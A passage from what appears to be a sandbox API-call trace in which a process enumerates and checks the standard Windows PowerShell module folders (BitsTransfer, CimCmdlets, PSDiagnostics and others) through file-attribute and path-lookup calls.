[0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0157.708] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.708] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.708] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0157.708] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0157.709] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0157.709] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0157.709] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0157.709] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0157.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0157.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0157.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0157.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0157.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0157.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0157.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0157.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0157.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0157.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0157.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0157.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0157.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0157.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0157.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0157.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0157.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0157.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0157.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0157.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0157.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0157.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0157.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0157.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0157.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x62b578, lpFilePart=0x0 | out: 